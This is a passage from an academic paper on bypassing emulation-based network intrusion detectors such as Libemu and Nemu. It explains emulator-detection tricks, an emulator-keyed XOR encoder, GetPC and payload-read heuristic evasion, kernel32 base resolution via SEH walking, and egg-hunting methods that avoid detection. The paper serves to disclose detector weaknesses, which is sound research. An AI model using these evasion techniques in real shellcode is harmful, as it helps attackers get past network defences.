registers	  to	  hold	  the	  absolute	  address	  of	  the	  fist	  instruction	  of	  each	  execution	  chain.	  
This	  introduces	  a	  detection	  vector,	  since	  this	  situation	  is	  highly	  unlikely	  to	  arise	  in	  a	  
real-­‐world	  scenario.	  While	  setting	  the	  stack	  pointer	  to	  point	  to	  the	  beginning	  of	  the	  
shellcode	   most	   certainly	   does	   not	   affect	   its	   correct	   execution,	   shellcode	   could	  
include	  emulation	  detection	  tricks	  that	  check	  the	  stack	  data	  preceding	  the	  shellcode	  
(using	   the	   ESP	   as	   the	   base).	   The	   preceding	   data	   could	   be	   checked	   for	   valid	   stack	  
frames	  or,	  better	  yet,	  data	  known	  to	  reside	  on	  the	  stack	  of	  the	  vulnerable	  program.	  
This	   can	   be	   done	   through	   hardcoded	   addressing	   or	   through	   Egg-­‐hunting.	   The	  
emulator	   would	   have	   to	   construct	   a	   legitimate	   program	   stack	   and	   mirror	   the	  
vulnerable	   program	   in	   order	   to	   avoid	   being	   detected.	   A	   final	   limitation	   is	   that	   in	  
various	  exploitation	  scenarios,	  including	  casual	  stack	  overflows,	  the	  EBP	  registers	  get	  
overwritten	   with	   the	   4	   bytes	   preceding	   the	   new	   instruction	   pointer,	   yet	   the	  
emulator	  initializes	  EBP	  to	  hold	  the	  shellcode	  base	  address.	  In	  this	  way	  an	  attacker	  
could	  include	  4	  bytes	  crucial	  to	  successful	  execution	  of	  the	  shellcode	  before	  the	  new	  
instruction	   pointer	   that	   the	   emulator	  would	   not	   properly	   handle.	   Research	   about	  
emulator	   detection	   [15,	   16]	   has	   shown	   that	   even	   mature,	   well-­‐developed	   and	  
maintained	  system	  emulators	  often	  provide	  only	  a	  subset	  of	  the	  functionality	  of	  the	  
emulated	   platform	   or	   display	   behaviors	   that	   allow	   attackers	   to	   detect	   their	  
presence.	  The	  examples	  we	  provided	  in	  our	  paper	  are	  specific	  to	  the	  tested	  EBNIDS	  
emulators	   but	   the	   general	   principle	   remains:	   any	   difference	   of	   the	   emulated	  
environment	  with	  regard	  to	  the	  target	  environment	  offers	  attacker	  opportunities	  for	  
evasion.	  Since	  we	  are	  dealing	  with	  network-­‐based	  IDS	  especially	  the	  context	  part	  of	  
the	  target	  environment	  will	  be	  infeasible	  and	  unscalable	  to	  completely	  mirror	  by	  the	  
emulator	  for	  scalability	  reasons.	  
We	   propose	   three	   techniques	   to	   detect	   that	   the	   shellcode	   is	   being	   executed	   in	  
Libemu	  or	  Nemu.	  In	  the	  case	  of	  Libemu	  all	  general-­‐purpose	  registers	  are	   initialized	  
to	   the	   same	   value,	   something	   that	   virtually	   never	   occurs	   in	   a	   genuine	   exploited	  
process.	   In	   the	   case	   of	   Nemu	   all	   general-­‐purpose	   registers	   are	   initialized	   to	   static	  
values,	  even	  though	  the	  author	  mentions	  they	  are	   initialized	  to	  the	  address	  of	   the	  
execution	   trace	   [3].	   Also,	   for	   Nemu	   the	   CPUID	   instruction	   is	   decoded	   but	   not	  
emulated.	   Usually,	   the	   CPUID	   instruction	   returns	   a	   CPU	   vendor	   string	   in	   certain	  
registers	  when	  called.	  Nemu	  does	  not	  set	  these	  registers,	  hence	  providing	  a	  reliable	  
way	   for	   detection.	   The	   third	   technique	   against	   all	   types	   of	   emulators	   is	   a	   timing	  
attack.	  Since	  emulators	  perform	  slower	  than	  the	  actual	  CPU	  they	  seek	  to	  emulate,	  
we	   can	   measure	   the	   timing	   difference	   for	   executing	   a	   series	   of	   instructions.	   We	  
implement	   a	   timing	   attack	   using	   relative	   performance	   (instead	   of	   absolute	  
performance	  which	   is	   very	   hardware	   dependent	   as	   well),	   executing	   two	   series	   of	  
instructions	  (a	  NOP	  loop	  vs.	  a	  more	  intensive	  arithmetic	  loop)	  and	  take	  their	  ratio	  as	  
a	   measure.	   On	   emulated	   environments	   the	   ratio	   will	   be	   far	   higher	   than	   on	   non-­‐
emulated	  environments.	  	  	  
We	  create	  a	  shellcode	  encoder	  that	  consists	  of	  XORing	  the	  shellcode	  with	  a	  random	  
key	   and	   prepending	   a	   decoder	   armored	   with	   emulator	   detection	   code.	   In	   more	  
detail,	   the	   value	   of	   the	   decryption	   key	   is	   determined	   by	   the	   emulator	   detection	  
code:	   in	   case	   the	   shellcode	   is	   being	   emulated,	   the	   key	   will	   be	   incorrect	   and	   the	  
decoding	   will	   fail.	   Both	   Libemu	   and	   Nemu	   are	   unable	   to	   detect	   the	   modified	  
shellcodes.	  
	  4.1.4.	   Heuristics	  Evasions	  
	  
Evasion	   of	   Kernel32.dll	   Base	   Address	   Resolution	   Heuristics:	   We	   design	   two	  
techniques	   to	  bypass	   the	  Kernel32.dll	   base	  address	   resolution	  heuristics	  of	  Nemu.	  
An	  attacker	  only	  needs	  to	  use	  one	  of	  the	  following	  techniques	  to	  bypass	  Nemu.	  
The	  first	  technique	  consists	  of	  walking	  the	  Safe	  Exception	  Handler	  (SEH)	  chain	  until	  a	  
pointer	  to	  ntdll.dll	   is	   found	  (see	  Figure	  2).	  We	  scan	  the	  entire	  stack	  until	  we	  find	  a	  
frame	  with	  value	  0xFFFFFFFF,	  which	  precedes	  the	  pointer	  to	  the	  OS	  SEH	  record	  lying	  
in	   ntdll.dll.	   To	  make	   sure	   a	   valid	   OS	   SEH	   pointer	   is	   found	   (and	   not	   some	   random	  
0xFFFFFFFF	  value)	  we	  compare	  the	  pointer	  value	  against	  the	  frame	  located	  16	  bytes	  
away	  from	  it,	  which	  is	  always	  the	  return	  address	  of	  the	  top	  stack	  frame.	  Depending	  
on	  the	  windows	  version,	  this	  address	  points	  either	  into	  ntdll.dll	  or	  kernel32.dll.	  Once	  
we	  find	  an	  address	  in	  ntdll.dll,	  we	  do	  a	  backward	  scan	  from	  the	  discovered	  location	  
until	  we	  encounter	  the	  PE	  header	  structure.	  We	  recognize	  this	  structure	  because	  its	  
starting	  bytes	  are	  0x4D,	  0x5A	  (MZ	  in	  ASCII).	  The	  address	  of	  the	  PE	  header	  structure	  
is	  the	  base	  address	  of	  any	  mapped	  library.	  Therefore,	  we	  now	  have	  a	  pointer	  to	  the	  
base	   address	   of	   ntdll.dll.	   By	   using	   this	   information	   we	   can	   call	   the	   LdrLoadDLL	  
function	   inside	   ntdll.dll.	  We	   use	   the	   LdrLoadDLL	   function	   to	   load	   Kernel32.dll	   and	  
from	   there	   calling	   the	   LoadLibraryA	   function	   inside	   Kernel32.dll.	   It	   is	   worth	  
mentioning	  that	  within	  different	  versions	  of	  the	  Windows	  OS,	  the	  distance	  between	  
functions	   is	   static	   (even	   in	  existence	  of	  enabled	  ASLR,	  and	   that	  holds	   for	  all	  global	  
return	  addresses).	  
 
Figure	  2.	  Kernel32.dll	  Heuristic	  evasion	  using	  SEH	  Walk.	  
	  
	  
The	  second	  technique	  works	  in	  a	  more	  reliable	  way.	  In	  the	  x86	  architecture	  the	  EBP	  
register	  points	  to	  the	  current	  stack	  frame.	  Each	  stack	  frame	  starts	  with	  a	  pointer	  to	  
the	  previous	  stack	  frame,	  all	  the	  way	  to	  the	  top	  stack	  frame.	  In	  Windows	  processes	  
are	  created	  by	  the	  operating	  system	  using	  the	  NtCreateProcess	  API,	  which	  stores	  on	  
the	  top	  stack	  frame	  as	  return	  address	  a	  pointer	  to	  ntdll.dll.	  Therefore,	  by	  walking	  the	  
stack	  frames	  from	  the	  current	  stack	  frame	  to	  the	  top	  stack	  frame	  we	  have	  a	  pointer	  
to	   ntdll.dll.	   We	   use	   this	   information	   in	   the	   same	   way	   described	   for	   the	   previous	  
technique.	  
We	   use	   these	   two	   techniques	   to	   create	   two	   shellcodes	   that	   call	   the	   LoadLibrary	  
function	   inside	   kernel32.dll	   and	   get	   the	   kernel32.dll	   base	   address.	   We	   then	   feed	  
these	  shellcodes	  to	  Nemu,	  which	  does	  not	  trigger	  any	  alert.	  The	  reason	  why	  Nemu	  
fails	   in	   the	   detection	   is	   that	   none	   of	   the	   eight	   different	   Kernel32.dll	   base	   address	  
resolution	  heuristics	  in	  Nemu	  trigger	  on	  the	  operations	  we	  carry	  out.	  In	  more	  detail,	  
we	   do	   not	   access	   any	   of	   the	   FS	   addresses	   (which	   are	   Nemu	   triggers),	   we	   do	   not	  
perform	  memory	  reads	  on	  kernel32.dll	  (which	  is	  also	  a	  trigger	  for	  Nemu)	  and	  we	  do	  
not	  access	  or	  modify	  any	  of	  the	  SEH	  handlers.	  Finally,	  we	  also	  notice	  that	  Nemu	  does	  
not	   even	   seem	   to	   properly	   implement	   stack	   frames.	   In	   fact,	   EBP	   always	   points	   to	  
unreadable	   memory.	   Description	   of	   each	   implementation	   is	   in	   the	   “source	   code	  
listing”	  section	  of	  this	  paper.	  
	  
	  
4.1.5.	   Evasion	  of	  GetPC	  Code	  Heuristics:	  
Both	  Libemu	  and	  Nemu	  use	   the	  GetPC	  code	  heuristic	   to	   identify	  a	  shellcode.	  Both	  
Libemu	   and	   Nemu	   approach	   GetPC	   code	   detection	   in	   the	   same	  way,	   by	   checking	  
whether	  the	  program	  counter	  is	  somehow	  stored	  in	  a	  memory	  location	  by	  means	  of	  
a	   so-­‐called	   seeding	   instruction	   subsequently	   read	   from	   that	   memory	   location.	   In	  
practice,	   this	  means	   scanning	   for	   seeding	   instructions	   (for	  both	   systems	  only	  CALL	  
and	   FSTENV/FSAVE	   are	   considered	   seeding	   instructions),	   emulating	   the	   trace	   and	  
seeing	  if	  the	  stored	  address	  is	  somehow	  read	  and	  used.	  	  
We	   implement	   two	   different	   techniques	   to	   get	   the	   start	   address	   of	   the	   shellcode	  
without	  triggering	  these	  GetPC	  heuristics.	  Our	  first	  technique,	  called	  stack	  scanner,	  
only	  works	  with	  exploits	  where	  the	  shellcode	  ends	  up	  on	  the	  stack	  (and	  therefore	  is	  
limited	   in	   scope).	   It	  works	  by	   scanning	  upwards	   from	   the	   stack	  pointer	   (into	  used	  
stack	  space)	  until	  a	  randomized	  marker	  is	  recognized.	  When	  the	  randomized	  marker	  
is	  recognized,	   its	  address	   is	  saved	  and	  serves	  as	  the	  start	  address	  of	  the	  shellcode.	  
The	   second	   technique,	   called	   stack	   constructor,	  works	   in	   all	   exploit	   scenarios	   and	  
involves	  converting	  any	  given	  payload	  to	  a	  stack-­‐constructed	  payload.	  The	  payload	  is	  
divided	  in	  blocks	  of	  4	  bytes	  which	  are	  pushed	  onto	  the	  stack	  in	  reverse	  order	  before	  
a	   jump	   is	   taken	  to	   the	  ESP	  register	   (thus	  executing	   the	   instructions	  pushed	  on	  the	  
stack).	   Since	   the	   shellcode	   is	   now	   located	   on	   the	   stack,	   this	   means	   that	   the	   ESP	  
register	  (which	  points	  to	  the	  top	  of	  the	  stack)	  also	  is	  the	  current	  EIP,	  hence	  we	  know	  
the	   shellcode	   starting	   address	   without	   resorting	   to	   any	   seeding	   instruction	   or	  
reading	   a	   pushed/modified	   address	   from	   a	   memory	   location.	   We	   use	   these	   two	  
techniques	  to	  create	  two	  shellcodes	  capable	  of	  performing	  a	  GetPC	  operation.	  We	  
then	  feed	  these	  shellcodes	  to	  both	  Libemu	  and	  Nemu.	  As	  expected,	  none	  of	   them	  
triggers	  any	  alert.	  
 
 
4.1.6.	   Evasion	  of	  Payload	  Read	  Heuristics:	  	  
In	  order	   to	   reduce	   the	  number	  of	   false	  positives	   caused	  by	  pure	  GetPC	  detection,	  
NEMU	   includes	   an	   additional	   heuristic	   for	   detecting	   self-­‐modifying	   code,	   the	   so-­‐
called	   Payload-­‐Read	   (PRT)	   heuristics.	   Basically	   this	   means	   that	   the	   number	   of	  
(unique)	   read	  operations	   (executed	  by	   the	   payload)	   to	   a	  memory	   address	   located	  
within	  the	  shellcode	  buffer	  is	  recorded	  and	  when	  it	  exceeds	  a	  certain	  threshold	  (32	  
to	   be	   precise)	   and	   there	   is	   GetPC	   code	   present,	   the	   code	   is	   marked	   as	   self-­‐
modifying.	   In	   addition	   to	   the	   fact	   that	   we	   can	   bypass	   GetPC	   heuristics,	   we	   can	  
bypass	  this	  as	  well	  and	  we	  did	  it	  so	  in	  two	  ways:	  
	  
Ø SYSCALL	   based	   PRT	   evasion:	   This	   technique	   was	   proposed	   by	   Piotr	  
Bania	   [17]	   but	   hasn't	   been	   fixed	   or	   addressed	   yet.	   It	   comes	   down	   to	  
using	  native	   system	  calls	   to	   allocate	   a	   piece	  of	  memory	   and	   then	  use	  
another	  system	  call	  to	  read	  our	  payload	  and	  relocate	  it	  to	  the	  recently	  
allocated	   memory,	   before	   decoding	   it	   there	   and	   transferring	   control.	  
This	   doesn't	   trigger	   the	   heuristics	   because	   the	   read	   operations	   to	  
payload	  buffer	  memory	  aren't	  done	  by	  our	  payload	  but	  by	   the	  kernel	  
and	  hence	  aren't	  marked	  as	  payload-­‐reads.	  The	  technique	  proposed	  by	  
Bania[17]	  is	  just	  a	  specific	  instance	  of	  the	  general	  fact	  that	  any	  kind	  of	  
payload	   relocation	   executed	   by	   code	   from	   outside	   our	   shellcode	   will	  
bypass	  the	  heurstic.	  We	  could,	  for	  example,	  resolve	  the	  base	  address	  of	  
NTDLL	  to	  load	  MSVCRT.dll	  to	  obtain	  a	  pointer	  to	  the	  memcpy	  function,	  
or	  use	  any	  other	  memory-­‐copy	  function.	  We	  only	  implemented	  Bania's	  
approach	  as	  a	  PoC	  since	  the	  principle	  is	  the	  same.	  
	  
When	   testing,	   however,	   NEMU	   couldn't	   properly	   execute	   the	   shellcode	  
because	  it	  didn't	  handle	  the	  native	  system	  calls	  properly.	  Since	  syscall	  version	  
numbers	  differ	  among	  versions	  of	  windows	  (as	  does	  the	  way	  to	  call	  them),	  the	  
emulation	   gap	   plays	   up	   again	   here.	  We	   tried	   the	   syscall-­‐based	   shellcode	   in	  
various	  forms	  (using	  syscall/sysenter/int	  0x2E	  instructions	  as	  well	  as	  WoW64-­‐
based	  way	  to	  do	  a	  native	  syscall,	  using	  syscall	  numbers	  for	  windows	  XP	  and	  7)	  
but	  none	  executed	  properly,	  so	  though	  the	  test	  is	  a	  false	  negative,	  this	  reflects	  
the	  fact	  that	  NEMU	  is	   incomplete	  more	  so	  than	   its	   inability	  to	  deal	  with	  this	  
technique	  (even	  though	  properly	  implemented	  syscalls	  would	  still	  not	  be	  able	  
to	  handle	  this	  technique).	  
	  
Ø Stack	  constructed	  shellcode	  PRT	  evasion:	  	  This	  technique	  is	  identical	  to	  
the	   way	   we	   evade	   GetPC	   heuristics	   (and	   so	   it	   evades	   both)	   in	   that	  
shellcode	  is	  converted	  to	  a	  list	  of	  push	  operations	  pushing	  the	  shellcode	  
on	   the	   stack	   before	   decoding	   them	   (on	   the	   stack)	   and	   transferring	  
control	   to	   it.	   This	   doesn't	   trigger	   the	   PRT	   heuristic	   because	   all	  
read/write	   operations	   are	   executed	   on	   addresses	   of	   recently	   pushed	  




4.1.7.	   Evasion	  of	  WX	  Instructions	  Heuristics:	  
A	  threshold	  of	  WX	  instructions	  is	  proposed	  as	  a	  heuristic	  in	  [9].	  When	  a	  given	  piece	  
of	   suspect	   input	   exceeds	   this	   threshold,	   a	   heuristic-­‐flag	   is	   triggered.	   As	   stated	   by	  
Skape	  in	  [18],	  Virtual	  Mapping	  can	  be	  used	  as	  a	  method	  to	  circumvent	  this	  heuristic.	  
It	   involves	  mapping	   the	   same	   physical	   address	   to	   two	   different	   virtual	   addresses,	  
using	   one	   for	   writing	   operations	   whilst	   using	   the	   other	   for	   execution	   thus	  
disqualifying	  the	  code	  as	  being	  composed	  of	  WX	  instructions.	  In	  order	  to	  be	  able	  to	  
do	   virtual	   mapping,	   the	   shellcode	   needs	   to	   invoke	   OS	   APIs,	   and	   this	   step	   could	  
trigger	  the	  Kernel32.dll	  heuristic.	  However,	  an	  attacker	  can	  combine	  this	  technique	  
with	  the	  technique	  to	  resolve	  the	  Kernel32.dll	  base	  address	  proposed	  above,	  which	  
avoids	  triggering	  the	  corresponding	  heuristic.	  
	  
4.1.8.	   Memory-­‐Write	   lower-­‐bound	   Heuristic	   evasion:	   The	   Memory-­‐
Write	   heuristic	   is	   proposed	   in	   [15]	   as	   an	   addition	   to	   the	  WX-­‐instruction	   threshold	  
heuristic,	   serving	   as	   a	   negative	   lower	   bound.	   Polychronakis	   et	   al.	   observe	   that	  
considering	   that	   the	   decryption	   of	   a	   32-­‐byte	   payload	   would	   require	   at	   least	   8	  
memory	  writes	  (using	  instructions	  with	  4-­‐byte	  operands).	  One	  possible	  way	  to	  avoid	  
triggering	   this	   heuristic	   is	   by	   choosing	   to	   avoid	   the	   use	   of	   memory-­‐writes	   and	  
instead	  use	   code	   re-­‐ordering.	  Given	   a	   piece	  of	   shellcode,	   it	   could	  be	   split	   up	   in	  N	  
parts,	   having	   their	   order	   randomized.	   Every	   shellcode-­‐segment	   Si	   would	   have	   a	  
jump	   instruction	   appended	   to	   the	   next	   segment	   Si+1.	   As	   such,	   no	  memory-­‐writes	  
are	  executed	  while	  the	  shellcode	  still	  avoids	  signature	  matching	  if	  the	  segments	  are	  
kept	  small	  enough.	  This	  might	  take	  some	  effort	  on	  the	  part	  of	  the	  attacker	  though,	  
as	  re-­‐ordering	  the	  shellcode	  might	  mean	  modifications	  to	  the	  addressing	  and	  code	  
flow,	   something	   that	   would	   take	   a	   considerable,	   but	   not	   unfeasible,	   effort	   to	  
automate.	  
	  
4.1.9.	   Decryption	   Routine	   Verification:	   One	   of	   the	   two	   heuristic	  
properties	  used	  to	  verify	  a	  decryption	  routine	  proposed	  in	  [3]	   is	  that	   in	  a	  detected	  
loop,	  there	  must	  be	  a	  memory-­‐write	   instruction	  that	  uses	   indirect	  addressing.	  One	  
technique	  to	  counter	  this	  would	  payload-­‐relocation.	  Before	  decryption,	  an	  attacker	  
could	  copy	  the	  contents	  of	   the	  encrypted	  payload	  (located	   in	  the	  network-­‐capture	  
input	   buffer)	   to	   memory	   allocated	   by	   the	   shellcode	   or	   to	   a	   memory	   area	   that’s	  
known	  to	  be	  valid	  on	  forehand	  (on	  the	  stack,	  for	  example).	  This	  way,	  memory	  write	  
operations	  will	  occur	  to	  an	  address	  range	  that	  lies	  outside	  the	  address	  range	  of	  the	  
network-­‐capture	  input	  buffer	  and	  this	  verification	  condition	  would	  not	  hold.	  
	  
	  
4.1.10.	   Evasion	   of	   Process	   Memory	   Scanning	   Heuristics:	   An	   attacker	  
could	  scan	  for	  a	  known	  fragment	  of	  instructions	  from	  the	  target	  code.	  Linn	  et.al.	  in	  
[19]	  already	  introduced	  an	  attack	  which	  scans	  for	  a	  17-­‐byte	  sequence	  which	  forms	  
the	   first	   basic	   block	   of	   the	   execve	   system	   call.	   Also,	   an	   attacker	   could	   generate	   a	  
hash	  and	  then	  iterate	  through	  the	  suitable	  code-­‐region	  and	  check	  the	  retrieved	  data	  
against	   the	   hash.	   In	   this	  way,	   an	   emulator	  would	   have	   to	   brute-­‐force	   the	   hash	   in	  
order	  to	  determine	  what	  code	  fragment	  to	  prepare,	  something	  that	  can	  not	  be	  done	  
in	  a	   reasonable	  amount	  of	   time.	  Additionally,	  an	  attacker	  could	  construct	   (part	  of)	  
the	   decryption	   key	   from	   code	   fragments	   obtained	   through	   hash-­‐based	   searching.	  
We	  designed	  two	  techniques	  in	  order	  to	  evade	  EBNIDS	  heuristic	  related	  to	  Process	  
Memory	  Scanning.	  
• SEH	  based	  Egg	  hunting	  Evasion	  for	  Process	  Memory	  Scanning	  Heuristic	  
In	  the	  NEMU	  implementation,	  Polychronakis	  et	  al.	  discuss	  detecting	  SEH-­‐based	  egg	  
hunting	   shellcode.	   The	   egg	   hunting	   shellcodes	   usually	   works	   by	   first	   finding	   the	  
address	  of	   current	   lowest	  SEH	   frame.	  Then	  shellcode	  either	   install	  new	  SEH	   frame	  
with	  handler	  address	  pointing	  to	  custom	  handler	  or	   it	  will	  change	  the	  SEH	  handler	  
address	   of	   current	   frame	   to	   own	   handler	   address.	   Then	   shellcode	   starts	   scanning	  
through	  memory	  address	  0.	  When	  memory	  address	  which	  holding	  randomized	  egg	  
marker,	   found,	   shellcode	   will	   jump	   to	   there.	   When	   exception	   trigger,	   control	   is	  
transferred	   to	   custom	   handler	   which	   reads	   address	   of	   offending	   instruction	   from	  
SEH	   information	   structure	   on	   stack	   and	   updates	   the	   read	   address	   to	   the	   next	  
memory	   page	   and	   continues	   execution.	   Nemu	   try	   to	   detect	   such	   shellcode	   by	   a)	  
Checking	  if	  the	  linear	  address	  of	  FS:[0]	  (current	  SEH	  frame)	  and	  current	  or	  previous	  
instructions	  involve	  FS	  were	  read	  or	  written,	  b)	  Nemu	  will	  check	  if	  the	  linear	  address	  
of	  handler	  field	  in	  new	  or	  current	  SHE	  frame	  is	  or	  has	  been	  written	  and	  c)	  whether	  
starting	  from	  FS:[0]	  all	  SEH	  frames	  reside	  on	  stack	  and	  frame	  pointer	  of	  last	  frame	  is	  
0xFFFFFFFF	  in	  order	  to	  ensure	  valid	  stack.	  To	  bypass	  such	  heuristics	  we	  either	  have	  
to	  bypass	  case	  “a”	  or	  “b”.	  	  
Bypassing	   case	   “a”	   is	   not	   difficult	   and	   we	   have	   already	   in	   our	   Kernel32.dll	   base	  
address	  resolution	  technique	  addressed	  it.	  We	  can	  simply	  traverse	  the	  stack	  to	  find	  
the	   last	   SEH	   frame,	   and	   check	   if	   it	   really	   is	   the	   SEH	   frame	   (comparing	   handler	  
address	   to	   return	   address	   of	   associated	   stack	   frame,	   checkout	   our	   SEH	   walk	  
Kernel32.dll	  base	  address	  resolution	  shellcode	   in	  Source	  Code	  Listing	  Section)	   if	   so	  
we	  know	  we	  have	  the	  last	  SEH	  frame.	  The	  only	  extra	  thing	  to	  do	  is	  find	  the	  lowest	  
SEH	  frame	  so	  we	  need	  to	  traverse	  the	  stack	  again	  from	  the	  address	  of	  the	  last	  SEH	  
frame	  back	   to	   the	  current	   stack	  pointer	  and	  see	   if	  we	   find	  addresses	  on	   the	   stack	  
pointing	  to	  the	  last	  SEH	  frame	  (which	  is	  an	  indication	  that	  these	  could	  be	  SEH	  frames	  
too).	   Since	   we	   cannot	   know	   for	   sure	   if	   an	   address	   pointing	   to	   a	   suspected	   stack	  
frame	   is	   really	  a	  stack	   frame	   itself	   (since	  we	  cannot	  access	  FS:[0]),	  we	  will	  have	  to	  
take	   the	   risk	   of	   overwriting	   the	   DWORD	   after	   every	   address	   pointing	   to	   our	  
suspected	   stack	   frames	   so	   that	   we	   overwrite	   all	   potential	   SE	   handlers	   with	   our	  
custom	  handler.	  Obviously	  we	  might	  mess	  up	  the	  stack	  and	  application	  flow	  in	  this	  
manner	  but	  for	  the	  execution	  of	  our	  shellcode	  that	  doesn't	  matter.	  The	  only	  risk	  we	  
run	  this	  way	  is	  encountering	  an	  address	  pointing	  to	  our	  suspected	  SEH	  frame	  before	  
the	   actual	   previous	   SEH	   frame	   and	   thus	  messing	   up	   the	   scanning,	   countering	   this	  
would	  require	  us	  to	  scan	  the	  entire	  stack	  down	  for	  every	  suspected	  frame	  which	  is	  
easy	  to	  implement	  but	  takes	  some	  extra	  running	  time	  and	  hence	  is	  a	  bit	  of	  a	  time-­‐
reliability	   tradeoff.	   In	   this	   way	   we	   can	   use	   egg	   hunt	   shellcode	   using	   SEH	  without	  
reading	  FS:[0]	  and	  hence	  we	  don't	  trigger	  Nemus	  heuristics.	  
Bypassing	   case	   “b”	  means	   that	   we	   should	   not	  modify	   the	   handler	   address	   in	   the	  
current	   SEH	   frame.	   So	   instead	   of	   modifying	   the	   address,	   we	   hook	   the	   actual	   SE	  
handler	  function.	  There's	  no	  need	  to	  avoid	  reading	  FS:[0]	  since	  all	  heuristics	  have	  to	  
be	  matched	  for	  Nemu	  to	  trigger,	  which	  makes	  our	  code	  a	  bit	  more	  compact.	  After	  
obtaining	  the	  address	  of	  the	  current	  SEH	  frame	  we	  load	  the	  address	  of	  the	  current	  
SE	   handler.	   Since	   this	   function	   is	  most	   likely	   located	   in	   non-­‐writable	  memory,	  we	  
need	   to	   change	   protection	   using	   VirtualProtect,	   making	   the	   page	   writable.	   After	  
doing	  this,	  we	  replace	  the	  first	  6	  bytes	  with	  a	  mov	  eax,CUSTOM_HANDLER	  /	  jmp	  eax	  
stub	  which	  means	  that	  if	  an	  exception	  occurs,	  the	  original	  handler	  will	  be	  executed	  
which	   will	   transfer	   hooked	   control	   to	   our	   custom	   handler.	   Note	   that	   calling	  
VirtualProtect	   requires	   the	   attacker	   to	   either	   use	   an	   OS/Version/System	  
Pack/Language	  Pack	  dependent	  address	  (or	  list	  of	  addresses)	  or	  resolve	  kernel32.dll	  
base	  in	  a	  way	  that	  bypasses	  Nemu.	  
In	  this	  way	  we	  can	  egg-­‐hunt	  using	  SEH	  without	  modifying	  any	  SEH	  frames	  (since	  we	  
modify	  the	  handler	  functions	  themselves)	  and	  thus	  we	  don't	  trigger	  Nemu.	  
It	   is	   worth	   mentioning	   that	   while	   we	   were	   checking	   this	   technique	   in	   Nemu	   we	  
noticed	   that	   Nemu	   is	   capable	   of	   detecting	   so-­‐called	   SEH-­‐based	   GetPC	   code	   (an	  
example	   is	   included	   in	   the	   Source	   Code	   Listing	   section	   as	   well,	   it	   is	   capable	   of	  
bypassing	   Libemu	   but	   not	   Nemu).	   However,	   Nemu	   only	   detects	   it	   because	   of	   the	  
similarity	  to	  SEH-­‐based	  egghunting	  (e.g.	  reading	  FS:[0]	  and	  modifying	  a	  handler).	  So	  
using	  either	  our	  technique	  against	  heuristic	  case	  a	  and	  b	  which	  means	  Nemu	  cannot	  
detect	  it	  anymore	  and	  we	  have	  an	  additional	  GetPC	  code	  that	  can	  bypass	  Nemu!	  	  
We	  tested	  both	  techniques	  against	  Nemu	  and	  it	  could	  not	  detect	  any	  of	  them.	  The	  
reason	  Nemu	  doesn’t	  detect	  them	  is	  because	  it	  does	  not	  even	  get	  the	  part	  where	  we	  
scan	  SEH	  for	  following	  reasons:	  
1. Case	   “a”	   evasion:	   Since	   NEMU	   doesn't	   initialize	   a	   proper	   stack	   frame	  
sequence	   with	   proper	   return	   addresses	   or	   an	   actual	   SEH	   frame	   chain,	  
scanning	   the	   stack	   for	   the	   last	   SEH	   frame	   and	   comparing	   it	   against	   the	   last	  
stack	  frame's	  return	  address	  doesn't	  work	  (even	  if	  it	  would	  the	  comparison	  is	  
version	   (but	   not	   ASLR!)	   dependent	   so	   it	   would	   require	   the	   right	   memory	  
image)	  and	  hence	  the	  shellcode	  doesn't	   find	   the	   last	  SEH	   frame	  and	  doesn't	  
even	  get	  to	  the	  point	  of	  modifying	  the	  handler	  address.	  
2. Case	  “b”	  evasion:	  Since	  NEMU	  doesn't	  fully	  implement	  the	  windows	  API	  (and	  
we	   can	   use	   version	   dependent	   addresses),	   it	   cannot	   execute	   VirtualProtect	  
and	  hence	  doesn't	  even	  get	  to	  the	  point	  of	  hooking	  the	  original	  handler.	  If	  we	  
use	  the	  evasion	  that	  uses	  kernel32.dll	  resolution	  (in	  a	  way	  that	  doesn't	  trigger	  
Nemu)	  Nemu	  can't	  detect	  it	  for	  the	  same	  reasons	  as	  case	  a	  evasion,	  it	  simply	  




• Syscall-­‐based	  egg	  hunting	  evasion	  for	  Process	  Memory	  Scanning	  Heuristic:	  
In	   addition	   to	   SEH-­‐based	  egghunting,	   an	   attacker	   can	  also	  use	   syscalls	   to	  hunt	   for	  
eggs.	  The	  attackers	  start	  by	   initializing	  the	  scan	  address	  at	  0	  and	  then	  updates	  the	  
scan	  address	   to	  next	  page	  and	  continue	   it	  by	   incrementing	   the	   scan	  address	  by	  1.	  
Then	   attacker	   can	   execute	   certain	   syscalls	   (such	   as	   NtAddAtom,	  
NtAccessCheckAndAuditAlarm,	   NtDisplayString,	   etc.)	   with	   scan	   address	   as	  
parameter.	  If	  the	  status	  code	  returned	  is	  STATUS_ACCESS_VIOLATION,	  the	  attacker	  
again	  scan	  address	  to	  the	  next	  page	  and	  increment	  scan	  address	  by	  1	  and	  call	  again	  
the	  syscalls.	  If	  the	  address	  was	  readable,	  the	  shellcode	  can	  check	  for	  egg	  marker,	  if	  
the	  egg	  marker	  is	  not	  present	  attacker	  the	  mentioned	  step	  again,	  if	  the	  egg	  marker	  
found	  it	  will	  jump	  to	  the	  shellcode.	  	  Nemu	  detects	  this	  attack	  (it	  does	  implement	  this	  
type	   of	   heuristic).	   Nemus	   heuristic	   are	   based	   on	   the	   execution	   of	   an	   int	   0x2e	  
instruction	  (system	  call)	  with	  the	  eax	  register	  set	  to	  one	  of	  the	  following	  values:	  0x2,	  
0x8,	  0x39,	  0x43,	  0x46,	  0x7F	  (various	  syscall	  numbers	  for	  suspected	  syscalls)	  
	  
	  Starting	  from	  Windows	  XP,	  system	  calls	  can	  also	  be	  made	  using	  the	  more	  efficient	  
sysenter	   instruction	   if	   it	   is	  supported	  by	  the	  system	  processor.	  The	  above	  heuristic	  
can	  easily	  be	  extended	  to	  also	  support	  this	  type	  of	  system	  call	  invocation.	  In	  order	  to	  
show	  that	  there	  are	  more	  syscalls	  that	  can	  be	  used,	  we	  introduce	  three	  techniques,	  
note	  that	  only	  the	  first	  technique	  implemented	  by	  us:	  
1. An	  egg	  hunter	   shellcode	   (works	   on	  both	  windows	  XP	   and	  windows	  7	   under	  
WoW64)	   using	   the	  NtQueryVirtualMemory	   syscall,	  which	   isn't	   on	   the	  watch	  
list	   and	  hence	   currently	  bypasses	  Nemu.	  While	   strictly	   speaking	   this	  doesn't	  
break	   the	   heuristic	   (after	   all,	   the	   list	   can	   be	   updated),	   it	   does	   relate	   to	   the	  
fundamental	   problem	   of	   these	   heuristics:	   they	   are	   behavior	   signatures	   that	  
need	  to	  be	  constantly	  updated.	  
	  
2. The	   second	   way	   (which	   we	   did	   not	   implement)	   to	   bypass	   Nemus	   heuristic	  
